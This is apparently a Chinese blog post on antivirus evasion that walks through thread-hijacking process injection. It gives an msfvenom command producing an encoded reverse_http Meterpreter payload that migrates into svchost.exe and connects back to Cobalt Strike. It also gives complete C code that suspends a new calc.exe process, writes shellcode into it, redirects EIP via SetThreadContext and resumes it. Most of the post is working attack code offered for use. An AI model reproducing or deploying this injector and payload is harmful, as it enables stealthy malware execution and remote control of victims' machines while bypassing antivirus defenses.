效果图

Anti-Virus.PNG

免杀时间:2021-10-24

关键API SetThreadContext指向EIP位置

流程

1. 创建进程
2. 挂起进程
3. 分配写入shellcode
4. 更改EIP指针指向shellcode
5. 恢复挂起,成功运行Shellcode

EIP

EIP寄存器,存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加

生成Shellcode Payload

在MsF生成ShellCode,上线到Cs,模块:windows/meterpreter/reverse_http

msfvenom -p windows/meterpreter/reverse_http LHOST=127.0.0.1 LPORT=87 -e x86/shikata_ga_nai -i 5 -b \\x00\\ PrependMigrate=true PrependMigrateProc=svchost.exe -f c -o Payload.c

shellcode-msf.PNG

PrependMigrate=true PrependMigrateProc=svchost.exe

该选项会将Shell迁移到svchost.exe进程

实现代码

#include <Windows.h>

//弹出计算器ShellCode
unsigned char shellcode[] = "\x55\x8B\xEC\x83\xEC\x20\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x1C\x8B\x00\x8B\x00\x8B\x40\x08\xC7\x45\xFC\x00\x00\x00\x00\xC7\x45\xF8\x00\x00\x00\x00\xC7\x45\xF4\x00\x00\x00\x00\x8B\x58\x3C\x8D\x1C\x18\x8B\x5B\x78\x8D\x14\x18\x8B\x5A\x1C\x8D\x1C\x18\x89\x5D\xFC\x8B\x5A\x20\x8D\x1C\x18\x89\x5D\xF8\x8B\x5A\x24\x8D\x1C\x18\x89\x5D\xF4\x8B\x7A\x18\x33\xC9\x8B\x75\xF8\x8B\x1C\x8E\x8D\x1C\x18\x8B\x1B\x81\xFB\x57\x69\x6E\x45\x74\x03\x41\xEB\xED\x8B\x5D\xF4\x33\xD2\x66\x8B\x14\x4B\x8B\x5D\xFC\x8B\x1C\x93\x8D\x04\x18\xEB\x09\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\xE8\x00\x00\x00\x00\x5B\x83\xEB\x0E\x6A\x05\x53\xFF\xD0\x8B\xE5\x5D\xC3";

int main(int argc, char const *argv[])
{
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(si);

    PROCESS_INFORMATION pi = {0};

    CreateProcessA(NULL, (LPSTR)"calc", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
    SuspendThread(pi.hThread);
    LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    ctx.Eip = (DWORD64)lpBuffer;

    SetThreadContext(pi.hThread, &ctx);    
    ResumeThread(pi.hThread);

    Sleep(800);
    DWORD CodeExit;
    TerminateThread(pi.hThread,GetExitCodeThread(pi.hThread,&CodeExit));
    return 0;
}

执行流程

创建一个计算器进程,挂起进程,注入Shellcode到calc计算机,恢复挂起,执行shellcode,最后迁移Shell到svchost.exe进程,结束calc线程,成功上线到Cs

最后修改:2021 年 11 月 21 日
如果觉得我的文章对你有用,请随意赞赏